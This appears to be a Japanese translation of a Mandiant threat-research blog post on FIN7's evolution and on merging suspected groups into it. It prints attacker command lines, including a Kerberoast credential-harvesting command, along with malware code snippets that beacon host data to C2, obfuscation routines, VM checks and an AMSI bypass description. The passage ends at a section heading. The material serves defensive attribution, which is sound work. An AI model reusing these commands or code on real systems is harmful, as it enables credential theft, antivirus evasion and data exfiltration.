FIN7 パワーアワー: 敵対者の考古学と FIN7 の進化

FIN7 Activity in 2020-2021 news

最近の公開調査では、脅威グループの共有は、REVIL、DARKSIDE、BLACKMATTER、および ALPHV ランサムウェアを含む標的型ランサムウェア操作に移行した FIN7 と重複していると主張しています。 Mandiant は、ランサムウェア操作へのシフトとされることから、2019 年に公開されたMahalo FIN7以来公には書いていなかった FIN7 の進化に関する調査を公開しています。

このブログ投稿では、Mandiant が直接調査した過去および最近の侵入の両方から有機的な調査を行い、複数の UNC グループを FIN7 にマージするプロセスについて説明しています。このプロセスにより、2022 年 1 月に以前に疑われた 8 つの UNC グループを FIN7 にマージすることができました。また、新しいマルウェアの使用、新しい初期アクセス ベクトルの組み込み、収益化戦略の変更など、この時期の FIN7 アクティビティの顕著な変化も強調しています。

  • FIN7 は、FIN7 が過去 2 年間にわたって継続的に開発してきた POWERPLANT と呼ばれる新しいバックドアを含め、侵入全体を通じて PowerShell を引き続き活用しました。また、CROWVIEW および FOWLGAZE として追跡されている、開発中の BIRDWATCH ダウンローダの新しいバージョンも特定しました。
  • FIN7 の初期アクセス手法は多様化しており、従来のフィッシング手法に加えて、ソフトウェア サプライ チェーンの侵害や盗まれた資格情報の使用が含まれています。また、FIN7 が新しい侵入で LOADOUT や GRIFFON の代わりに POWERPLANT を第 1 段階のマルウェアとして使用していることも確認しました。
  • 複数の組織での FIN7 に起因する活動に続くデータ窃盗やランサムウェアの展開、および技術的な重複は、FIN7 のアクターがさまざまなランサムウェア操作に長期にわたって関与していたことを示唆しています。
  • Mandiant はまた、複数の注目すべきキャンペーンを FIN7 と思われる別個の UNC グループとして追跡しています。これには、DICELOADER につながる「BadUSB」キャンペーンや、BIRDWATCH につながるクラウド マーケティング プラットフォームを利用した複数のフィッシング キャンペーンが含まれます。

私たちは、2017 年に FIN7 に関する脅威レポートを初めて公開し、研究を発表しました。それ以来、FIN7 の運用に関する複数のブログ投稿を公開しており、 Mandiant Advantageでより広範なコンテンツを利用できます。このブログ投稿では、最新の FIN7 侵入操作と、私たちが使用したアトリビューション手法の調査に焦点を当てています。

時間の経過に伴う脅威の帰属

アトリビューション手法では、収集された脅威データ内で重複する複数のレイヤーが必要であり、疑わしいFIN7 UNC グループをコア FIN7 クラスターにマージします。マージの証拠は、攻撃者のインフラストラクチャ、侵入の手口、手口、および調査対象のグループが特定のコードをどのように使用しているかの分析に基づいています。サイバー犯罪活動の流動的で日和見的な性質、および個々のオペレーターの犯罪組織への狭い忠誠を考慮すると、技術的証拠の厳密な文書化は、現代のサイバー犯罪の帰属にとって重要です。また、複数の脅威グループが時間的に近接して侵入操作を行っていることもよくあります。場合によっては、互いに数時間または数分以内に同じアクセス方法を使用することさえあります。これはランサムウェア エコシステムで特に顕著です。Mandiant は、個々のメンバーがチームをシフトし、チームが共同作業している相手や特定の時間にアクセスを取得している相手に応じて、侵入全体で異なる TTP を一般的に採用しているアフィリエイト プログラム間を移動することを観察しています。

現在までに、17 の追加の UNC がさまざまなレベルの信頼度で FIN7 と提携している疑いがあります。ただし、これらのグループは正式に FIN7 に統合されていません。これらのグループの活動は、2015 年までさかのぼり、最近では 2021 年後半にまでさかのぼり、36 件の個別の侵入に及んでいます。 2020 年以降活動していると疑われていた 8 つの FIN7 UNC グループが最近 FIN7 に統合され、脅威グループに関連する攻撃者の回復力が確認されました。

2020 アクティビティの概要: LOADOUT に重点を置く

FIN7 は 2020 年の春から夏にかけて活動し、フィッシング キャンペーンを実施し、LOADOUT と GRIFFON の配布を試みました。その間、さまざまなキャンペーンを追跡するために 5 つの UNC グループが作成されましたが、2021 年後半にマージ分析が行われ、FIN7 の理解が深まり、最終的に FIN7 の新しい分派グループにマージされました。 2020 年のアクティビティの関連する UNC マージの影響により、コード ファミリ LOADOUT、TAKEOUT、および BIRDWATCH バリアントの使用が FIN7 に追加されました。

FIN7 Activity in 2020-2021
図 1: 2020 ~ 2021 年の FIN7 の活動

LOADOUT は難読化された VBScript ベースのダウンローダで、感染したシステムから広範な情報を収集します。収集された情報は、コマンド アンド コントロール (C2) サーバーに送信されます。 LOADOUT 感染に対する C2 サーバーの応答は、HTTP または DNS を使用して追加の JavaScript モジュールを取得し、メモリ内で実行する JavaScript ベースのダウンローダーである GRIFFON を配信しました。

2020 年の夏の終わりに、FIN7 は POWERPLANT の使用が最初に確認されたことで、忙しい年を締めくくりました。 「 KillACK 」とも呼ばれる POWERPLANT は、幅広い機能を備えた PowerShell ベースのバックドアであり、2020 年 8 月に GRIFFON への感染が成功した後に最初に配信されました。 POWERPLANTを使用している唯一のオペレーター。

2021 年の活動概要: POWERPLANT への移行

2021 年 4 月に始まった 5 回の侵入で、2021 年に FIN7 と疑われる UNC グループの活動が増加していることを確認しました。また、FIN7 が初期アクセス手法を LOADOUT、GRIFFON、または CARBANAK を使用するのではなく、POWERPLANT と BEACON の直接展開に移行することも確認しました。具体的には、FIN7 は 2021 年に観察されたすべての侵入で POWERPLANT を使用しました。FIN7 は、いくつかの POWERPLANT 感染と並んで、アクセスの二次モードとして BEACON にも依存していました。

2021 年を通して、私たちは FIN7 に関連する多数の UNC グループを精査し、過去の FIN7 インテリジェンス保有の幅を広げ、その過程で複数の脅威クラスターを統合しました。私たちの調査では、古い FIN7 侵入手口と新しい FIN7 マルウェアの融合が明らかになりました。

PowerShell の考古学: FIN7 の習慣は死ぬほど難しい

間違いなく、PowerShell は FIN7 の愛の言語です。 FIN7 は、多くのプログラミング言語を使用して攻撃活動にマルウェアを実装しています。ただし、システム上での対話中は、FIN7 のブティック PowerShell ベースのローダーと独自の PowerShell コマンドの優先順位が優勢です。

2019 年にさかのぼる以前の FIN7 への侵入を詳細に調査したところ、今日でも使用されている独自の PowerShell 呼び出しの長年のパターンがいくつか明らかになりました。最初の例では、図 2 および図 3 のようなコマンド ラインは、FIN7 および疑わしい FIN7 UNC 以外では全体的に低い普及率でした。

図 2: 2019 年からの FIN7 PowerShell の実行
cmd.exe /c start %SYSTEMROOT%system32WindowsPowerShellv1.0powershell.exe -noni -nop -exe bypass -f <REDACTED>/ADMIN$/temp/wO9EBGmDqwdc.ps1
図 3: 2021 年からの FIN7 PowerShell の実行
cmd.exe /c start %SYSTEMROOT%system32WindowsPowerShellv1.0powershell.exe -noni -nop -exe bypass -f <REDACTED>Admin$c5k3fsys.3bp.ps1

図 2 と図 3 のコマンドのユニークな点は、管理共有にあるスクリプトを起動し、Windows サービスをインストールするための個別のパラメーター-noni -nop -exe bypass -fです。 2019 年以降、CARBANAK などのバックドア マルウェアを介して被害者のシステムと対話する際に、FIN7 がこれらのようなコマンド ライン パラメータを使用することを確認しています。それ以来、これらの個別の PowerShell コマンドの一部が POWERPLANT の感染によって開始されるようになっていることが確認されています。

2019 年以降の FIN7 への侵入におけるより小さなパターンと一貫性により、渡されたパラメーターとして -ex bypass -fまたは-ex bypass -fileを使用するより明確な PowerShell コマンド ラインが明らかになります。これらのパターンを探すのは控えめに見えますが、これらの組み合わせは、FIN7 に関連する脅威活動以外では、世界的な普及率が非常に低くなっています。たとえば、最初のコマンド ライン パターンは 2800 回以上確認されており、そのすべてが FIN7 に起因するイベントでした。 2 番目のコマンド ライン パターンは、2019 年までさかのぼって 10 人の異なる被害者で 250 回近く確認されており、そのすべてが FIN7 に起因するコマンドでした。

図 4: 2019 年からの FIN7 PowerShell の実行

powershell.exe -ex bypass -file C:windowstempfdddu32.ps1

図 5: 2020 年からの FIN7 PowerShell の実行

powershell.exe -ex bypass -fc:userspublictempAC-Win10w-x64.ps1

powershell.exe -ex bypass -f C:UsersPublicVideosAC-Bot-x64.ps1

図 6: 2021 年以降の FIN7 PowerShell の実行

powershell.exe -ex bypass -f pkit.ps1

powershell.exe -ex bypass -f cube.ps1

侵入操作中の FIN7 の独自のコマンド ラインに加えて、POWERTRASH などの他の PowerShell コード ファミリの長期にわたる使用を特定しました。 POWERTRASH は、埋め込まれたペイロードを実行する PowerShell で記述されたインメモリ ドロッパー (ローダー) です。 FIN7 の POWERTRASH によってロードされた観測ペイロードには、CARBANAK、DICELOADER、SUPERSOFT、BEACON、PILLOWMINT が含まれます。 POWERTRASH は、GitHub で入手できるPowerSploitフレームワークに含まれるシェルコード インボーカーを独自に難読化したものです。

このように FIN7 の侵入操作に対する理解が深まったため、分析作業をまとめて、疑わしい複数の UNC を FIN7 にマージする作業を開始しました。このイニシアチブの一環として、2021 年の Managed Defense Rapid Response エンゲージメントを含む、お客様を対象とした新しい FIN7 ミッションを特定しました。

ディフェンスの管理

FIN7 は、ソフトウェア、コンサルティング、金融サービス、医療機器、クラウド サービス、メディア、食品および飲料、運輸、公益事業など、複数の業界の幅広い組織を対象としています。 2020 年以降、当社の顧客ベース全体で、FIN7 に起因する 12 件以上の侵入を特定しました。以下のユースケースは、2021 年のMandiant Managed Defenseエンゲージメント中の最近の FIN7 トレードクラフトのプロファイルです。

塹壕からのFIN7

この侵入中に最初のアクセスを取得するために、FIN7 は侵害されたリモート デスクトップ プロトコル (RDP) 資格情報を使用して、2 日間にわたって標的サーバーにログインし、2 つの同様の Windows プロセス チェーンを開始しました (図 7)。

図 7: 2 つの FIN7 プロセス イベント チェーン

rdpinit.exe

↳ notepad++.exe

↳ cmd.exe

↳ powershell.exe

 rdpinit.exe

↳ notepad++.exe

↳ cmd.exe

↳ rundll32.exe

FIN7 は、確立された RDP アクセスを使用して、最初に PowerShell 偵察スクリプトを実行し、次に TERMITE ローダーを実行して、最終的にホスト コントロールの他のモードをインストールしました (図 8)。

図 8: FIN7 TERMITE のロードに使用されるコマンド ライン

RunDll32 TstDll.dll,TstSec 11985756

TERMITE は、パスワードで保護されたシェルコード ローダーであり、BEACON、METASPLOIT、および BUGHATCH シェルコードをロードするために少なくとも 7 つの異なる脅威グループが使用していることが確認されています。この場合、FIN7 は TERMITE を使用して、Cobalt Strike BEACON のシェルコード ステージャーをロードして実行しました。

BEACON の 2 次アクセスに続いて、FIN7 は組み込みの Windows コマンド、POWERSPLOIT および Kerberos の PowerShell モジュールを使用してさらに列挙を開始しました。

cmd.exe /C net group "Domain Admins" /domain

cmd.exe /C quser

powershell.exe -c import-module C:UsersPublickerberoast_hex.ps1; Invoke-Kerberoast -OutputFormat HashCat > hash.txt

powershell.exe -ex bypass -c import-module C:UsersPublickerberoast_hex.ps1; Invoke-Kerberoast -OutputFormat HashCat

powershell.exe -ex bypass -f pkit.ps1

RDP と BEACON を使用した最初の偵察の後、FIN7 は、PowerShell ベースのバックドア POWERPLANT の被害者がカスタマイズした亜種の難読化されたローダーを実行し、3 次アクセスを提供しました。

powershell.exe -ex bypass -f cube.ps1

その後、FIN7 は資格情報を盗み、被害者の環境をさらに侵害しようと試みましたが、成功は限定的でした。これは、クライアントが Managed Defense レスポンダーを利用して応答し、迅速に修復できたためです。

この特定の侵入のユニークな側面は、サイバー犯罪者の脅威の技術的属性の課題を完全に浮き彫りにしました。被害者のシステムでの FIN7 操作の 2 日間の間に、FIN12 も同じ RDP アカウントを使用して同じ被害者で数時間アクティブでしたが、大きく異なりました。侵入が修復される前に、WEIRDLOOP インメモリ ドロッパーを使用して BEACON をインストールしようとしました。

FIN7の回避

FIN7 の歴史的なトレードマークには、創造的な難読化と回避技術の迅速な開発がありました。これは依然として当てはまり、FIN7 の第 1 段階のドロッパーとダウンローダーは非常に難読化されています。特に LOADOUT は、日和見キャンペーンで広く配布されているため、回避を改善するために何度か反復されてきました。

初期の難読化メカニズムは基本的なものでしたが、静的な検出を回避するのに効果的でした。悪意のあるコードにランダムなジャンク コードが散在していました (図 9)。数か月にわたるキャンペーンが成功した後、AV 検出エンジンはダウンローダーのカバレッジを改善しました。これを回避してメッセージを送信するために、LOADOUT の開発者は、文字列に「FUCKAV」を挿入するだけで、検出シグネチャで使用されていると疑われるビーコンを分割しました (図 8)。

図 8: LOADOUT によってビーコンとして送信されるシステム調査情報

data = "id=" & get_id() & "&FUCKAVtype=put" & get_computer_info("") & "&DomainHosts=" & count_domain_hosts() & "&UserName=" & usFUCKAVername & "&LogicalDrives=" & get_grivers() & "&SystemInfo=nothing&SoftwareInfo=nothing&NetworkInfo=nothingFUCKAV&ProcessList=" & get_processlist() & "&DesktopFileList=" & get_desktopfiles() & "&DesktopScreenshFUCKAVot=nothing&WebHistory=nothing&stype=vbs"

response = send(panel_url, data)

if response = "okFUCKAV" then

js = send(panel_url, "")

run_js(js)

end ifFUCKAV

図 9: LOADOUT の難読化

kiki=ado.ReadText

' OE5QAJ2VaFCK F5

Dim yiups

yiups = "UTo"

WScript.Echo(" error ")

kok = replace(kiki, "FUCKAV", "")

ulpo = "12"

aoso = year("01/07/12")

if right(aoso, 2) = ulpo then

execute("WScript.Echo("" file is corrupted ""):" & kok)

end if

'hello bitchw

実際、これらの文字列が検出に使用されていると開発者が疑ったのは正しかったです。ビーコンをピボットすることで、VirusTotal に提出された LOADOUT の進行中の新しい亜種 (MD5: 485b2a920f3b5ae7cfad93a4120ec20d) を発見しましたが、これは 1 つのエンジンのみで検出されました (図 10)。 2 時間後、新しいバージョンが提出されました (MD5: 012e7b4d6b5cb8d46771852c66c71d6d)。今回は、カスタムの難読化メカニズムによって問題のある PowerShell コマンドが隠されています (図 11)。

図 10: 難読化前の PowerShell コマンド

objTS.WriteLine(TextCrypt)

objTS.Close

pwsh_command = "powershell.exe -executionpolicy bypass -file " & FileName & ".ps1"

objWSH.Run pwsh_command, 0, True

FSO.DeleteFile FileName & ".ps1"

図 11: PowerShell コマンドの難読化

Text1 = "/3/3.1/2.1,7/2/2.0/3+4+5/4/2*3,7.0,7/2/2.1/4.0,6/3/3.0/3.0+5/4+5-9/4.1+5/4/3*3,7.0,6/3/2*3272327272412292326241618252310112117262125222518252429242516
261416272214202710112212232310"

TextCrypt = Encryption(MakeCryptoText(TextUnShifter(Text1)), False)

pwsh_command = TextCrypt & FileName & ".ps1"

objWSH.Run pwsh_command, 0, True

FSO.DeleteFile FileName & ".ps1"

FIN7 の攻撃者は、歴史的に公開リポジトリに対してツールをテストし、静的検出エンジンのカバレッジを確認してきました。この場合、彼らは独自の難読化の強度をテストしていた可能性があります。

この LOADOUT の新しく改良されたバージョンは、5 か月後に登場しました。これはリファクタリングされ、複数層の難読化が追加されました。これには、フィラー テキストとして散在する聖書の一節や、カスタム メカニズムによる文字列の難読化が含まれます (図 12)。

図 12: LOADOUT カスタム文字列の難読化

Private Function GetShiftKey()

On Error Resume Next

Set Key = CreateObject("Scripting.Dictionary")

 

l = Len(CryptoKey)

i1 = 0

    With Key

        For i = 1 To l

            s = Mid(CryptoKey, i, 1)

            n = (Asc(s) Mod 8) + 1

            If Not .Exists(n) Then

                .Add n, n

                i1 = i1 + 1

            End If

            If i1 = 9 Then Exit For

        Next

        If i >= l And i1 < 9 Then

            For i = 1 + 1 To 8

                If Not .Exists(i) Then

                    .Add i, i

                End If

            Next

        End If

        For i = 1 To 8

            GetShiftKey = GetShiftKey + .Items()(i)

        Next

    End With

End Function

 

Private Function TextShifter(txt)

    Dim nKeys(), out()

   

    Key = GetShiftKey

    n = Len(Key)

    If n = 0 Then Exit Function

    l = Len(txt)

    m = -Int(-l / n)

   

    ReDim nKeys(n)

 

    For i = 1 To n

        s1 = Mid(Key, i, 1)

        For j = 1 To n

            s2 = Mid(Key, j, 1)

            If s1 > s2 Or (s1 = s2 And j <= i) Then

                nKeys(i) = nKeys(i) + 1

            End If

        Next

    Next

   

    ReDim out(n * m)

    For i = 1 To Len(txt)

        out(nKeys((i - 1) Mod n + 1) * m + (i - 1) n - m + 1) = Mid(txt, i, 1)

    Next

    TextShifter = Join(out, "")

End Function

POWERPLANT: FIN7 の PowerShell 主力製品

FIN7 は、フィッシング、サードパーティ システムの侵害、 Ateraエージェント インストーラー、 GoToAssist 、RDP など、被害者のネットワークへの初期および二次アクセスの複数の方法を活用しています。最近のケースでは、FIN7 攻撃者がデジタル製品を販売する Web サイトを侵害し、複数のダウンロード リンクを変更して、Atera エージェント インストーラーを含む、トロイの木馬化されたバージョンをホストする Amazon S3 バケットを指すようにしました。このリモート管理ツールは、後に被害者のシステムに POWERPLANT を展開するために使用されました。 Mandiant が FIN7 を利用したサプライ チェーンの侵害を確認したのはこれが初めてでした。 FIN7 の実績のある CARBANAK および DICELOADER ( Lizarとしても知られる) マルウェアは引き続き使用されています。ただし、最近の侵入では、FIN7 が POWERPLANT バックドアに依存していることに気付きました。

POWERPLANT に関する調査の結果、C2 サーバーから配信されるモジュールに応じて、幅広い機能を備えた巨大なバックドア フレームワークであることが明らかになりました。 POWERPLANT バックドアには、コード内に内部バージョン識別子が含まれています。バージョン「 0.012 」から「 0.028 」までの範囲のサンプルを特定しました。例を表 1 に示します。

表 1: POWERPLANT サンプル

パワープラント サンプル MD5

バージョン

5a6bbcc1e44d3a612222df5238f5e7a8

0.012

0291df4f7303775225c4044c8f054360

0.016

3803c82c1b2e28e3e6cca3ca73e6cce7

0.019

d1d8902b499b5938404f8cece2918d3d

0.021(TLS1)

833ae560a2347d5daf05d1f670a40c54

0.021b(SVC)

edb1f62230123abf88231fc1a7190b60

0.021c(SVC)

bce9b919fa97e2429d14f255acfb18b4

0.022

b637d33dbb951e7ad7fa198cbc9f78bc

0.025

2cbb015d4c579e464d157faa16994f86

0.028

これらの内部バージョン番号の経時的な増加率は、FIN7 が積極的に POWERPLANT を開発していることを示唆しています (図 13)。あるエンゲージメントでは、FIN7 が機能を微調整した POWERPLANT のインクリメント バージョンを、侵入操作の最中にターゲットに展開することを確認しました。そのエンゲージメント中、バージョン「 0.023 」と「 0.025 」の両方が 10 分間の時間枠内で使用されました。私たちが特定した各バージョンは、全体的に同様の機能を実装しており、時間の経過とともにいくつかのプログラムの改善と機能が追加されています。

POWERPLANT のバージョン番号
図 13: POWERPLANT のバージョン番号

Mandiant はまた、POWERPLANT コントローラーからサーバー側のコード コンポーネントの一部を復元しました。これらのコンポーネントの一部には、マルウェアの開発者が運用上のセキュリティに注意を払っていることを示唆する手がかりが含まれています。そのような 2 つの例は、研究者がインフラストラクチャを調査していることを認識しており、パネルからユーザー名などのターゲット ホストの側面を禁止する機能を採用している FIN7 です。

図 14: POWERPLANT サーバー設定からの関数の抜粋

check_username

check_hostdomain

check_hostname

check_hosts

check_researcher

check_desktop

図 15: POWERPLANT サーバー設定からの関数の抜粋

if (res) {

localStorage.setItem('success-add-username', 'success-add-username-to-blacklist');

location.reload();

}

},

図 16: POWERPLANT サーバー構成からの関数の抜粋

    /**

     * Инициализация

     */

    init() {

        this.config();

        this.events();

    },

 

    /**

     * Конфиги

     */

    config() {

        this.config = {

            window: $(window),

            document: $(document),

 

            content: $('#content'),                                  

            lastUrl: null,

            isPage: true,

            isModal: false,

            intervalId: null,

            timer: null,

            selectedBots: []

        };

    }

アクティブな C2 セッション中、POWERPLANT サーバーは複数の追加モジュール タイプをターゲット システムが実行する「タスク」として送信します。これらのモジュールのうちの 2 つは、EASYLOOK と BOATLAUNCH です。

EASYLOOK モジュール

EASYLOOK は、FIN7 が少なくとも 2019 年から使用している偵察ユーティリティです。EASYLOOK は、オペレーティング システムのバージョン、登録キー、システム名、ユーザー名、ドメイン情報、ハードウェア仕様など、感染したシステムから幅広いデータを収集します。

EASYLOOK の最初のバージョンは、GRIFFON C2 サーバーによって配布され、JScript で記述されていました (図 18)。 FIN7 の更新された EASYLOOK のバリエーションは、POWERPLANT の亜種 C2 サーバーによって配信され、PowerShell で記述されています (図 17)。どちらのバージョンも、タイプミス「 bios_versoin 」を含め、2 つのコード言語でまったく同じ機能を実装していました。

図 17: PowerShell でコーディングされた FIN7 EASYLOOK の新しい亜種からの VM チェック

function is_wm {

$bios = Get-WMIObject Win32_Bios

$SerialNumber = $bios.SerialNumber

$bios_versoin = $bios.SMBIOSBIOSVersion

If ($SerialNumber.Contains("parallels") -or $SerialNumber.Contains("vmware")) {

return $true

}

If ($bios_versoin.Contains("vmware") -or $bios_versoin.Contains("virtualbox")) {

return $true

}

return $false

}

図 18: JavaScript でコーディングされた FIN7 EASYLOOK の最初の亜種からの VM チェック

function is_vm () {

    var biosRequest = wmi.ExecQuery('SELECT * FROM Win32_BIOS');

    var biosItems = new Enumerator(biosRequest);

    for (; !biosItems.atEnd(); biosItems.moveNext()) {

        var bios_versoin = biosItems.item().SMBIOSBIOSVersion.toLowerCase();

        var serial_number = biosItems.item().SerialNumber.toLowerCase();

        if(serial_number.indexOf('parallels') >= 0 || serial_number.indexOf('vmware') >= 0) {

            return true;

        }

        if(bios_versoin.indexOf('vmware') >= 0 || bios_versoin.indexOf('virtualbox') >= 0) {

            return true;

        }

    }

    return false;

}

BOATLAUNCH モジュール

BOATLAUNCH は、侵入操作中にヘルパー モジュールとして使用される FIN7 POWERPLANT コントローラーから送信されるユーティリティです。 BOATLAUNCH は、感染したシステムの PowerShell プロセスにパッチを適用して、Windows AntiMalware Scan Interface (AMSI) をバイパスするために使用されます。マルウェアはループして、パッチが適用されていない PowerShell プロセスを探し、パッチが適用されていないプロセスごとにamsi.dll!AmsiScanBufferを見つけて、5 バイトの命令シーケンスでパッチを適用し、常にS_OKを返します。

AMSI にパッチを適用するために使用される手法は、公開されている一般的な AMSI バイパス手法のバリエーションです。 BOATLAUNCH の 32 ビットと 64 ビットの両方の亜種が、次のエクスポート ディレクトリ DLL 名を使用して確認されています (表 2)。

表 2: BOATLAUNCH PE エクスポート ディレクトリ名

BOATLAUNCH ビットネス

エクスポート ディレクトリ名

32ビット

amsi32_kill.dll

64ビット

amsi64_kill.dll

BIRDWATCHの奇妙な事件

詳細な調査により、BIRDWATCH の使用と、FIN7 および UNC3381 などの FIN7 と疑われるグループによって使用される類似の亜種も明らかになりました。 BIRDWATCH は、HTTP 経由でペイロードを取得し、ディスクに書き込んでから実行する .NET ベースのダウンローダーです。 BIRDWATCH は、ターゲット システムからの偵察情報もアップロードします。これには、実行中のプロセス、インストールされているソフトウェア、ネットワーク構成、Web ブラウザー情報、Active Directory データが含まれます。

BIRDWATCH は、まとめて「 JssLoader 」と呼ばれることがよくあります。ただし、BIRDWATCH には複数のバリエーションが存在し、別のコード ファミリとして追跡しています。 BIRDWATCH の変種の 1 つに CROWVIEW があります。これも .NET ベースですが、プロトタイプの BIRDWATCH とはコードが十分に異なるため、個別にクラスタ化します。 BIRDWATCH とは異なり、CROWVIEW は埋め込みペイロードを格納でき、自己削除が可能で、追加の引数をサポートし、わずかに異なる構成を保存できます。

FIN7 は、さまざまなプログラミング言語で同様の機能または正確な機能を実装しており、過去数年間にさまざまなコード ファミリで何度も確認されています。 JScript と PowerShell の両方のバリアントを持つ EASYLOOK と同様に、BIRDWATCH と CROWVIEW には C++ で実装された別のバージョンがあります。コードの再利用とオーバーラップのこのデータ ポイントは、追加のインフラストラクチャとトレード クラフトの分析と組み合わせると、複数の UNC マージ全体で技術的な帰属を支援しました。

この最初の例では、BIOS (Basic Input Output System) シリアル番号のプログラムによる収集が、POWERPLANT および CROWVIEW コード ファミリー全体で示されています。

図 19: BIRDWATCH の亜種である FIN7 に起因する CROWVIEW の C# コード スニペット

private static string GetBiosSerial()

{

                  string result = "BIOS UNKNOWN";

                  try

                  {

                                    ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT SerialNumber FROM Win32_BIOS");

                                    ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();

                                    foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)

                                    {

                                                      ManagementObject managementObject = (ManagementObject)managementBaseObject;

                                                      result = (string)managementObject["SerialNumber"];

                                    }

                  }

                  catch

                  {

                  }

                  return result;

}

図 20: FIN7 に起因する POWERPLANT からの PowerShell コード スニペット

function Get-BiosSerial() {

$sn = "BIOS UNKNOWN"

$_sn = ""

try {

$mSearcher = Get-WmiObject -Query "SELECT SerialNumber FROM Win32_BIOS"

foreach ($o in $mSearcher) {

if ($o.Properties.Name -eq "SerialNumber") {

$_sn = $o.Properties.Value

}

}

}

catch {}

if ([String]::IsNullOrEmpty($_sn) -eq $false) { $sn = $_sn }

return "$sn";

}

FOWLGAZE と EASYLOOK の間にも、システム列挙データのフォーマットの重複が存在します。どちらのコード ファミリも、「pc_domain」、「pc_dns_host_name」、「pc_model」、「no_ad」などのキーを共有して使用する、ほぼ同一のシステム調査を実装しています。

図 21: FOWLGAZE(“JssLoader”) のデータ収集 JSON 形式スニペット

{"host":"<HOSTNAME>", "domain": "<DOMAIN>", "user":"<USERNAME>", "processes": [<PROCESS_LIST>] ,"desktop_file_list": [<FILE_LIST>] ,"adinfo": {"adinformation":"no_ad", "part_of_domain":"no", "pc_domain":"", "pc_dns_host_name":"", "pc_model":""}}

図 22: EASYLOOK (偵察モジュール) のデータ収集コード スニペット

$result += ('username***' + $env:USERNAME)

        $result += ('hostname***' + $env:COMPUTERNAME)

        $elevated = $(whoami /groups).Contains("12288")

        If ($elevated) {

            $result += 'yes'

        }

        Else {

            $result += 'elevated***' + 'no'

        }

        $ad = get_active_directory_information

        if ($ad) {

            $result += ('adinformation***' + $ad)

        } else {

            $result += ('adinformation***no_ad')

        }

        $csRequest = Get-WmiObject Win32_ComputerSystem

        $csRequest.PartOfDomain

        If ($csRequest.PartOfDomain) {

            $result += ('part_of_domain***yes')

        }

        else {

             $result += ('part_of_domain***no')

        }

        $result += 'pc_domain***' + $csRequest.Domain

        $result += 'pc_dns_host_name***' + $csRequest.DNSHostName           

        $result += 'pc_model***' + $csRequest.Model

コード再利用の最後の例は、「 theAnswer 」の使用です。これは、CROWVIEW と POWERPLANT の両方について、C2 コントローラーへの POST 要求のプログラム機能内で変数として定義されます (図 23 と図 24 を参照)。

図 23: FIN7 属性の CROWVIEW および BIRDWATCH (JssLoader) からの C# コード スニペット

public void Put(string theAnswer)

{

                  AppHttp.wCli.QueryString.Clear();

                  AppHttp.wCli.QueryString.Add("type", "put");

                  string text = Convert.ToBase64String(Encoding.ASCII.GetBytes(AppParams.ProgID)).Replace("+", "***");

                  string text2 = Convert.ToBase64String(Encoding.ASCII.GetBytes("put")).Replace("+", "***");

                  string body = string.Concat(new string[]

                  {

                                    "id^^^",

                                    text,

                                    "&type^^^",

                                    text2,

                                    "&",

                                    theAnswer

                  });

                  string text3 = this.HttpUpload(AppParams.URL_PutAnswer, body);

}

図 24: FIN7 に起因する POWERPLANT からの PowerShell コード スニペット

Function Send-ToConsole([String] $theAnswer) {

if ([String]::IsNullOrEmpty($theAnswer)) { return }

 

$_rc = ""

try {

$_wc = New-Object System.Net.WebClient

$_wc.QueryString.Add("id", $script:myID)

$_wc.Headers.Add("Content-type", "text/html")

$_wc.Headers.Add("Accept", "text/html")

$_rc = $_wc.UploadString($urlConsole, $theAnswer)

マルウェア コードの使用は、一部の公的な脅威の属性の主要なデータ ポイントと見なされることがあります。侵入データやインフラストラクチャなどの十分な追加データ ポイントがなければ、コードの重複だけでは、UNC グループをマージする必要があると完全に評価するには十分ではありません。 2021 年から 2022 年にかけて、新たに疑われる複数の FIN7 UNC とその活動を特定し、追跡を続けます。

疑わしい FIN7 UNC からの追加の最近のアクティビティ

2021 年 10 月、Mandiant は、主に米国を拠点とする組織を標的として、攻撃者が被害組織に悪意のある USB デバイス「BadUSB」を郵送するキャンペーンを観察しました。このキャンペーンは UNC3319 によるものであり、FIN7 との関連性が低いと思われます。

USB ハードウェアは STONEBOAT をダウンロードするようにプログラムされており、最終的に被害者のシステムに DICELOADER フレームワークがインストールされました。 STONEBOAT は、埋め込まれたシェルコード ペイロードを解読する、これまでにない .NET ベースのインメモリ ドロッパーです。次に、ペイロードがメモリにマップされ、実行されます。 STONEBOAT は、最初に DAVESHELL と呼ばれる中間ローダーをロードし、その後、最終的な DICELOADER ペイロードを実行することが観察されました。 DAVESHELL は、埋め込まれたペイロードのランチャー用のオープンソース コードとして公開されています。 DAVESHELL は、FIN12 を含む約 30 の脅威グループによって使用されています。ただし、DICELOADER をロードする DAVESHELL シェルコードの実装は、脅威活動の小さなクラスターに固有のものでした。

さらに、Maropost、ActiveCampaign、Mailjet などのさまざまな電子メール配信およびマーケティング プラットフォームで侵害されたアカウントを利用した、BIRDWATCH を配布する複数のフィッシング キャンペーンを特定しました。このアクティビティは UNC3381 によるものであり、これは信頼度の低い FIN7 であると疑われています。 UNC3381 は 2021 年 9 月に初めて観測されましたが、2019 年後半にさかのぼる Mailjet を利用した同様の活動が特定されており、高い信頼性で UNC3381 であると疑われています。

キャンペーン全体を通して、UNC3381 はほぼ同じ Quickbooks をテーマにした請求書ルアーを使用し、送信元の侵害されたアカウントのブランディングを利用して、フィッシングにさらなる正当性を提供しました。これらの電子メールには、侵害されたドメインで通常ホストされているページにリダイレクトする前に、送信元のプラットフォームに関連付けられた分析ドメインを通過する悪意のあるリンクが含まれていました。

UNC3381 Quickbooks をテーマにしたフィッシング メール
図 25: UNC3381 Quickbooks をテーマにしたフィッシング メール

UNC3381 は、これらのキャンペーンで複数のマルウェア ファミリを使用しています。WINGNIGHT と FLYHIGH は、UNC3381 によってのみ使用されていることが確認された 2 つの異なるダウンローダ ファミリです。 WINGNIGHT は VBScript を利用する WSF ベースのダウンローダーであり、FLYHIGH は Excel XLL SDK を使用して C で記述されたダウンローダーですが、 Excel-DNAフレームワークを使用しているように装います。これらのキャンペーンでは、WINGNIGHT と FLYHIGH の両方が BIRDWATCH につながることを観察し、多くの場合、ダウンロード サーバーと BIRDWATCH C2 コントローラーの両方で追加の侵害されたドメインを利用していました。 UNC3381 と FIN7 インフラストラクチャの間でも、同じ DNS プロバイダーと AS の使用を含め、限定的な重複が観察されました。

FIN7 とランサムウェア

